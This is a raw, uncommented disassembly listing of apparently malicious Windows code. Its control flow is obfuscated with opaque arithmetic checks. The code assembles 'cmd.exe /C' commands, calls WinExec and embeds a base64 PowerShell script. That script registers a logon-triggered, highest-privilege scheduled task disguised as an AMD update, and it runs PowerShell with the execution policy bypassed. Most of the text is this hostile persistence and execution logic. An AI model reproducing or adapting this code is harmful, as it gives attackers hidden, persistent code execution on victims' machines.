imul eax, edx
mov edx, ecx
and edx, esi
or ecx, esi
imul ecx, edx
add ecx, eax
sub ecx, 0xdf6948f0
add ecx, 0x5f518c33
add ecx, 0xdf6948f0
sub ecx, 0xf2a4f672
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x5513f502
and ecx, 0xaaec0afd
or eax, ecx
cmp eax, 0xdd1b62b0
ja 0x100693a8
mov edx, dword [0x10280c14]
mov eax, dword [0x10280c18]
xor edx, 0xffffffff
xor eax, 0xffffffff
or edx, eax
mov eax, edx
xor eax, 0xffffffff
and edx, 0x79548687
mov ecx, eax
and ecx, 0x86ab7978
imul ecx, edx
mov edx, eax
and edx, 0x79548687
or eax, 0x79548687
imul eax, edx
add eax, ecx
or eax, 0x277ae078
or eax, 0x96f41d77
cmp eax, 0x9cfbbd4f
jb 0x10068103
mov dword [ebp - 0x10], 0x1a
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf10]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xef8]
mov dword [eax], ecx
mov dword [eax + 8], 0x70
call fcn.1006a000
add esp, 0xc
jmp 0x10068184
mov ecx, dword [0x10280c1c]
xor ecx, dword [0x10280c20]
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x8ba7ccfc
mov eax, ecx
and eax, 0x74583303
imul eax, edx
mov edx, ecx
and edx, 0x8ba7ccfc
or ecx, 0x8ba7ccfc
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0xc493b13d
xor ecx, ecx
sub ecx, eax
mov eax, ecx
and eax, 0x12ec5f03
xor ecx, 0x12ec5f03
or eax, ecx
cmp eax, 0xefb9fc42
ja 0x100693ad
mov eax, dword [0x10280c24]
mov esi, dword [str.pC_]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov edx, eax
and edx, 0xe96dc41a
mov ecx, eax
or ecx, 0xe96dc41a
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x16923be5
or eax, 0x16923be5
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x3bbf7bf2
xor eax, eax
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3d4f1566
and eax, 0xc2b0ea99
sub eax, ecx
cmp eax, 0x5bf95aa1
je 0x100681df
mov dword [ebp - 0x10], 0x1b
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xef8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xee0]
mov dword [eax], ecx
mov dword [eax + 8], 0x64
call fcn.1006a000
add esp, 0xc
jmp 0x1006828c
mov ecx, dword [0x10280c2c]
imul ecx, dword [0x10280c30]
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or eax, 0xb1b343c3
and ecx, 0xb1b343c3
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0xc38bbf44
sub eax, 0x600960ec
cmp eax, 0x9f3841ab
jbe 0x100693b2
mov eax, dword [0x10280c34]
mov esi, dword [0x10280c38]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0xb3f556ae
xor edx, edx
div ecx
or eax, 0xa4fb25cf
add eax, 0xf5910c0d
cmp eax, 0xbf3c97f4
ja 0x100682d0
mov dword [ebp - 0x10], 0x1c
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xee0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xec8]
mov dword [eax], ecx
mov dword [eax + 8], 0x61
call fcn.1006a000
add esp, 0xc
jmp 0x1006834a
mov dword [ebp - 0x10], 0x1d
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xec8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xeb0]
mov dword [eax], ecx
mov dword [eax + 8], 0x74
call fcn.1006a000
add esp, 0xc
jmp 0x1006837b
mov dword [ebp - 0x10], 0x1e
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xeb0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe98]
mov dword [eax], ecx
mov dword [eax + 8], 0x65
call fcn.1006a000
add esp, 0xc
jmp 0x100683ac
mov eax, dword [0x10280c4c]
mov esi, dword [0x10280c50]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0xc36e929a
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x727eda3b
xor eax, eax
sub eax, ecx
add eax, 0xcac85385
cmp eax, 0xd1981cce
jae 0x100693b7
mov eax, dword [0x10280c54]
or eax, dword [0x10280c58]
mov ecx, 0xaab44b62
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xfef3284c
and ecx, 0x10cd7b3
or eax, ecx
and eax, 0xaac1fa4e
cmp eax, 0x542270df
jbe 0x100683fc
mov dword [ebp - 0x10], 0x1f
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe98]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe80]
mov dword [eax], ecx
mov dword [eax + 8], 0x64
call fcn.1006a000
add esp, 0xc
jmp 0x10068465
mov dword [ebp - 0x10], 0x20
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe80]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe68]
mov dword [eax], ecx
mov dword [eax + 8], 0x2e
call fcn.1006a000
add esp, 0xc
jmp 0x10068496
mov eax, dword [0x10280c6c]
xor edx, edx
div dword [0x10280c70]
mov ecx, eax
and ecx, 0x99bbb03f
sub ecx, 0x3a91ab78
mov eax, ecx
and eax, 0xdc4eb805
xor ecx, 0xffffffff
and ecx, 0x23b147fa
or eax, ecx
xor eax, 0xffffffff
cmp eax, 0xc0c4fc2b
ja 0x100693bc
mov ecx, dword [0x10280c74]
mov esi, dword [0x10280c78]
mov edi, esi
xor edi, 0xffffffff
mov edx, ecx
and edx, edi
mov eax, ecx
or eax, edi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, esi
or ecx, esi
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0x959e10f0
and ecx, 0x6a61ef0f
shl ecx, 1
sub ecx, eax
mov edx, ecx
and edx, 0x6f1038a5
mov eax, ecx
or eax, 0x6f1038a5
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x90efc75a
or ecx, 0x90efc75a
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x39260bc5
or ecx, 0xc6d9f43a
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
cmp eax, 0xb2c1a840
jb 0x100693bc
mov dword [ebp - 0x10], 0x21
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe68]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe50]
mov dword [eax], ecx
mov dword [eax + 8], 0x70
call fcn.1006a000
add esp, 0xc
jmp 0x10068588
mov eax, dword [0x10280c7c]
mov edx, dword [0x10280c80]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x3bafc2e3
xor edx, edx
div ecx
xor eax, 0xffffffff
or eax, 0x309eb089
or eax, 0x16e446d8
xor eax, 0xffffffff
cmp eax, 0x92af532f
ja 0x100693c1
mov eax, dword [0x10280c84]
xor edx, edx
div dword [0x10280c88]
add eax, 0xa7217b71
add eax, 0xb0c9fa35
sub eax, 0xa7217b71
imul eax, eax, 0x164f6f9b
sub eax, 0x80e7b25f
cmp eax, 0xbe07eaef
je 0x100685c5
mov dword [ebp - 0x10], 0x22
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe50]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe38]
mov dword [eax], ecx
mov dword [eax + 8], 0x73
call fcn.1006a000
add esp, 0xc
jmp 0x10068628
mov eax, dword [str.nlNn]
xor eax, dword [0x10280c90]
mov ecx, 0x395a36ef
xor edx, edx
div ecx
or eax, 0xece82824
add eax, 0x1ede5d34
cmp eax, 0xc00d72a6
jae 0x100693c6
mov eax, dword [0x10280c94]
or eax, dword [0x10280c98]
or eax, 0x7786261f
mov ecx, 0xd8223373
xor edx, edx
div ecx
sub eax, 0xcd82c06f
sub eax, 0x8f22a3a2
add eax, 0xcd82c06f
cmp eax, 0x6ea52e27
jbe 0x10068651
mov dword [ebp - 0x10], 0x23
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xe38]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xe20]
mov dword [eax], ecx
mov dword [eax + 8], 0x31
call fcn.1006a000
add esp, 0xc
jmp 0x100686b5
mov eax, dword [0x10280ca4]
xor edx, edx
div dword [0x10280ca8]
mov ecx, 0x2a9709cb
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x1a6be39e
xor ecx, 0xffffffff
or eax, 0x1a6be39e
and eax, ecx
mov edx, eax
and edx, 0xc02b3157
mov ecx, eax
or ecx, 0xc02b3157
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3fd4cea8
or eax, 0x3fd4cea8
imul eax, edx
add eax, ecx
mov dword [ebp - 0x1124], eax
lea ecx, [ebp - 0xe38]
call fcn.100061b0
lea ecx, [ebp - 0xe50]
call fcn.100061b0
lea ecx, [ebp - 0xe68]
call fcn.100061b0
lea ecx, [ebp - 0xe80]
call fcn.100061b0
lea ecx, [ebp - 0xe98]
call fcn.100061b0
lea ecx, [ebp - 0xeb0]
call fcn.100061b0
lea ecx, [ebp - 0xec8]
call fcn.100061b0
lea ecx, [ebp - 0xee0]
call fcn.100061b0
lea ecx, [ebp - 0xef8]
call fcn.100061b0
lea ecx, [ebp - 0xf10]
call fcn.100061b0
lea ecx, [ebp - 0xf28]
call fcn.100061b0
lea ecx, [ebp - 0xe20]
call fcn.10008340
mov ecx, eax
mov eax, dword [ebp - 0x1124]
mov dword [ebp - 0x1120], ecx
cmp eax, 0x87699636
ja 0x100693cb
mov ecx, dword [ebp - 0x1120]
mov dword [ebp - 0x10], 0xd
sub esp, 4
mov eax, esp
mov dword [eax], ecx
lea ecx, [ebp - 0xf40]
call fcn.10005f80
jmp 0x100687cc
mov eax, dword [0x10280cb4]
add eax, dword [0x10280cb8]
mov ecx, 0xfdbcab03
xor edx, edx
div ecx
add eax, 0x610a962
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf788dd70
mov ecx, eax
and ecx, 0x877228f
imul ecx, edx
mov edx, eax
and edx, 0xf788dd70
or eax, 0xf788dd70
imul eax, edx
add eax, ecx
cmp eax, 0xfe3801c0
jae 0x10069454
mov dword [ebp - 0x10], 0x18
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xd54]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf40]
mov dword [eax], ecx
call fcn.10064e90
add esp, 8
jmp 0x10068842
mov ecx, dword [0x10280cbc]
mov edx, dword [0x10280cc0]
mov eax, ecx
and eax, edx
or ecx, edx
add eax, ecx
xor eax, 0xc2f21fa0
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe10ef3d7
mov ecx, eax
and ecx, 0x1ef10c28
imul ecx, edx
mov edx, eax
and edx, 0xe10ef3d7
or eax, 0xe10ef3d7
imul eax, edx
add eax, ecx
sub eax, 0x5b4f6b8a
cmp eax, 0xf4da9af1
jbe 0x10069459
mov ecx, dword [0x10280cc4]
mov edx, dword [0x10280cc8]
mov esi, ecx
xor esi, 0xffffffff
mov eax, edx
and eax, esi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
add eax, 0x1d967d79
add eax, 0x50e92ea1
sub eax, 0x1d967d79
xor eax, 0xffffffff
and eax, 0xa1aac5df
xor eax, 0xffffffff
imul eax, eax, 0x22ea4879
mov dword [ebp - 0x1130], eax
lea ecx, [ebp - 0xf40]
call fcn.100061b0
sub esp, 4
mov dword [esp], 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xfcd]
lea eax, [0x10227a71]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x49
call fcn.101f00f0
add esp, 0xc
lea eax, [ebp - 0xfcd]
mov dword [ebp - 0xf84], eax
lea eax, [ebp - 0xfcd]
add eax, 0x49
mov dword [ebp - 0xf80], eax
lea ecx, [ebp - 0xfce]
call fcn.1004f950
mov eax, dword [ebp - 0x1130]
mov ecx, dword [ebp - 0xf84]
mov dword [ebp - 0x112c], ecx
mov ecx, dword [ebp - 0xf80]
mov dword [ebp - 0x1128], ecx
cmp eax, 0x3f766c3c
jae 0x10069459
mov ecx, dword [ebp - 0x112c]
mov edx, dword [ebp - 0x1128]
mov dword [ebp - 0x10], 0xd
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0xfce]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xf7c]
call fcn.10069d80
jmp 0x1006899b
mov dword [ebp - 0x10], 0x14
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xf7c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf70]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x100689c5
mov eax, dword [0x10280ccc]
mov edx, dword [0x10280cd0]
mov esi, eax
xor esi, edx
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
shl ecx, 1
sub ecx, edx
sub eax, ecx
or eax, 0xfceef14f
imul eax, eax, 0x6013a5e6
sub eax, 0xdcad9f11
cmp eax, 0x26ff70cf
jb 0x100694c5
mov byte [ebp - 0x1007], 0x63
mov byte [ebp - 0x1006], 0x6d
mov byte [ebp - 0x1005], 0x64
mov byte [ebp - 0x1004], 0x2e
mov byte [ebp - 0x1003], 0x65
mov byte [ebp - 0x1002], pe_nt_image_headers32
mov byte [ebp - 0x1001], 0x65
mov byte [ebp - 0x1000], 0x20
mov byte [ebp - 0xfff], 0x2f
mov byte [ebp - 0xffe], 0x43
mov byte [ebp - 0xffd], 0x20
lea eax, [ebp - 0x1007]
mov dword [ebp - 0xffc], eax
lea eax, [ebp - 0xffc]
mov dword [ebp - 0xff8], eax
lea esi, [ebp - 0x1008]
mov ecx, esi
call fcn.1004f950
mov ecx, dword [ebp - 0xffc]
mov edx, dword [ebp - 0xff8]
mov dword [ebp - 0x10], 0x15
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0xff4]
call fcn.10069d80
jmp 0x10068a9e
mov dword [ebp - 0x10], 0x16
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0xff4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xfe8]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x10068ac8
mov dword [ebp - 0x10], 0x17
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0xf70]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0xfe8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xf58]
mov dword [eax], ecx
call fcn.1006a3e0
add esp, 0xc
jmp 0x10068afb
mov eax, dword [0x10280cdc]
sub eax, dword [0x10280ce0]
mov ecx, 0xd51c4dbc
xor edx, edx
div ecx
imul eax, eax, 0xf4344549
xor eax, 0xffffffff
or eax, 0x9bd98b67
xor eax, 0xffffffff
cmp eax, 0xbb1d962b
ja 0x1006953d
mov ecx, dword [0x10280ce4]
mov eax, dword [0x10280ce8]
or ecx, eax
sub ecx, 0x794e3552
sub ecx, 0x8a9dbc25
add ecx, 0x794e3552
mov eax, ecx
and eax, 0xf90ad8bf
xor ecx, 0xf90ad8bf
or eax, ecx
and eax, 0x585e7596
mov dword [ebp - 0x113c], eax
lea ecx, [ebp - 0xfe8]
call fcn.100061b0
lea ecx, [ebp - 0xff4]
call fcn.1004fcd0
lea ecx, [ebp - 0xf70]
call fcn.100061b0
lea ecx, [ebp - 0xf7c]
call fcn.1004fcd0
lea ecx, [ebp - 0xf58]
call fcn.10008340
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [ebp - 0x105d]
lea eax, [0x10227aba]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x29
call fcn.101f00f0
add esp, 0xc
lea eax, [ebp - 0x105d]
mov dword [ebp - 0x1034], eax
lea eax, [ebp - 0x105d]
add eax, 0x29
mov dword [ebp - 0x1030], eax
lea ecx, [ebp - 0x105e]
call fcn.1004f950
mov eax, dword [ebp - 0x113c]
mov ecx, dword [ebp - 0x1034]
mov dword [ebp - 0x1138], ecx
mov ecx, dword [ebp - 0x1030]
mov dword [ebp - 0x1134], ecx
cmp eax, 0x24316452
jbe 0x1006953d
mov ecx, dword [ebp - 0x1138]
mov edx, dword [ebp - 0x1134]
mov dword [ebp - 0x10], 0xe
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0x105e]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x102c]
call fcn.10069d80
jmp 0x10068c5c
mov dword [ebp - 0x10], 0x13
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x102c]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1020]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x10068c86
jmp 0x10068c8b
mov eax, dword [0x10280cf4]
xor edx, edx
div dword [0x10280cf8]
imul eax, eax, 0x33989c3
or eax, 0xa78d0688
mov edx, eax
and edx, 0xdaaf922a
mov ecx, eax
or ecx, 0xdaaf922a
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x25506dd5
or eax, 0x25506dd5
imul eax, edx
add eax, ecx
mov dword [ebp - 0x1148], eax
lea ecx, [ebp - 0x102c]
call fcn.1004fcd0
lea ecx, [ebp - 0xe20]
call fcn.10008340
mov dword [ebp - 0x114c], eax
mov byte [ebp - 0x10c7], 0x63
mov byte [ebp - 0x10c6], 0x6d
mov byte [ebp - 0x10c5], 0x64
mov byte [ebp - 0x10c4], 0x2e
mov byte [ebp - 0x10c3], 0x65
mov byte [ebp - 0x10c2], pe_nt_image_headers32
mov byte [ebp - 0x10c1], 0x65
mov byte [ebp - 0x10c0], 0x20
mov byte [ebp - 0x10bf], 0x2f
mov byte [ebp - 0x10be], 0x43
mov byte [ebp - 0x10bd], 0x20
lea eax, [ebp - 0x10c7]
mov dword [ebp - 0x10bc], eax
lea eax, [ebp - 0x10c7]
add eax, 0xb
mov dword [ebp - 0x10b8], eax
lea ecx, [ebp - 0x10c8]
call fcn.1004f950
mov eax, dword [ebp - 0x1148]
mov ecx, dword [ebp - 0x10bc]
mov dword [ebp - 0x1144], ecx
mov ecx, dword [ebp - 0x10b8]
mov dword [ebp - 0x1140], ecx
cmp eax, 0x52f5fd71
jae 0x100695db
mov ecx, dword [ebp - 0x1144]
mov edx, dword [ebp - 0x1140]
mov dword [ebp - 0x10], 0xf
sub esp, 0xc
mov eax, esp
lea esi, [ebp - 0x10c8]
mov dword [eax + 8], esi
mov dword [eax + 4], edx
mov dword [eax], ecx
lea ecx, [ebp - 0x10b4]
call fcn.10069d80
jmp 0x10068dbf
mov dword [ebp - 0x10], 0x10
sub esp, 8
mov eax, esp
lea ecx, [ebp - 0x10b4]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x10a8]
mov dword [eax], ecx
call fcn.10065b30
add esp, 8
jmp 0x10068de9
mov eax, dword [0x10280cfc]
mov esi, dword [0x10280d00]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
or eax, 0x37f129d7
and eax, 0x7e01a45f
mov edx, eax
and edx, 0x39fd5d38
mov ecx, eax
or ecx, 0x39fd5d38
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc602a2c7
or eax, 0xc602a2c7
imul eax, edx
add eax, ecx
cmp eax, 0xf605b504
jae 0x10069669
mov eax, dword [0x10280d04]
mov esi, dword [0x10280d08]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
sub eax, 0x7ef48649
or eax, 0x82c55e35
sub eax, 0x91dbebd1
cmp eax, 0xb4125e64
jae 0x10068e4f
mov dword [ebp - 0x10], 0x11
sub esp, 0xc
mov eax, esp
lea ecx, [ebp - 0x1020]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x10a8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1090]
mov dword [eax], ecx
call fcn.1000c0a0
add esp, 0xc
jmp 0x10068ec5
mov eax, dword [0x10280d0c]
and eax, dword [0x10280d10]
or eax, 0xda0f848e
mov ecx, eax
and ecx, 0x11dce04d
shl ecx, 1
add eax, 0x11dce04d
sub eax, ecx
add eax, 0xf4c979ed
add eax, 1
cmp eax, 0xe4168b7c
jae 0x1006966e
mov eax, dword [0x10280d14]
xor eax, dword [0x10280d18]
sub eax, 0x2a5f4c40
mov ecx, eax
xor ecx, 0x6285f068
xor ecx, 0xffffffff
and ecx, 0x6285f068
shl ecx, 1
sub ecx, 0x6285f068
sub eax, ecx
imul eax, eax, 0xb28fe4fa
cmp eax, 0x3b324d0f
jae 0x10068ef9
mov ecx, dword [ebp - 0x114c]
mov dword [ebp - 0x10], 0x12
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x1090]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1078]
mov dword [eax], ecx
call fcn.1000c240
add esp, 0xc
jmp 0x10068f68
lea ecx, [ebp - 0x140]
lea eax, str.JHhtbFBhdGggPSAiWE1M6Lev5b6EIgokdGFza05hbWUgPSAi5Lu75Yqh5ZCN56ewIgokeG1sQ29udGVudCA9IEdldC1Db250ZW50IC1QYXRoICR4bWxQYXRoIHwgT3V0LVN0cmluZwpSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1YbWwgJHhtbENvbnRlbnQgLVRhc2tOYW1lICR0YXNrTmFtZQPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8CjxUYXNrIHZlcnNpb249IjEuMyIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZG93cy8yMDA0LzAyL21pdC90YXNrIj4KICA8UmVnaXN0cmF0aW9uSW5mbz4KICAgIDxEYXRlPjIwMDYtMTEtMTBUMTQ6Mjk6NTUuNTg1MTkyNjwvRGF0ZT4KICAgIDxBdXRob3ITWljcm9zb2Z0IENvcnBvcmF0aW9uPC9BdXRob3ICiAgICA8RGVzY3JpcHRpb245pu05paw55So5oi355qEIEFEIFJNUyDmnYPpmZDnrZbnlaXmqKHmnb_jgILlpoLmnpzlr7nmnI3liqHlmajkuIrmqKHmnb_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.xmlpowershell__Command__Set_ExecutionPolicy_Unrestricted__Scope_CurrentUser_powershell__ExecutionPolicy_Bypass__File_.
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xdc
call fcn.101f00f0
add esp, 0xc
lea eax, [ebp - 0x140]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x140]
add eax, 0xdc
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x141]
call fcn.1004f950
jmp 0x100671ae
jmp 0x100672ef
jmp 0x100673fe
lea ecx, [ebp - 0xc08]
call fcn.10009080
lea ecx, [ebp - 0xc20]
call fcn.10009080
jmp 0x10067471
lea ecx, [ebp - 0xc20]
lea eax, [ebp - 0xc38]
sub esp, 4
mov dword [esp], eax
call fcn.10007f10
lea ecx, [ebp - 0xc38]
call fcn.100061b0
jmp 0x10067537
lea ecx, [ebp - 0xc94]
call fcn.1004fcd0
jmp 0x100676b4
jmp 0x10067804
jmp 0x100678d3
mov byte [ebp - 0xd9f], 0x58
mov byte [ebp - 0xd9e], 0x4d
mov byte [ebp - 0xd9d], 0x4c
mov byte [ebp - 0xd9c], 0xc2
mov byte [ebp - 0xd9b], 0xb7
mov byte [ebp - 0xd9a], 0xbe
mov byte [ebp - 0xd99], 0xb6
lea eax, [ebp - 0xd9f]
mov dword [ebp - 0xd98], eax
lea eax, [ebp - 0xd9f]
add eax, 7
mov dword [ebp - 0xd94], eax
lea ecx, [ebp - 0xda0]
call fcn.1004f950
jmp 0x10067a09
jmp 0x10067b29
mov eax, dword [ebp - 0x10f0]
lea ecx, [ebp - 0xd54]
mov dword [eax], ecx
lea ecx, [ebp - 0xd84]
mov dword [eax + 0x1c], ecx
lea ecx, [ebp - 0xd6c]
mov dword [eax + 0x20], ecx
jmp 0x10067bd0
mov eax, dword [ebp - 0x10f4]
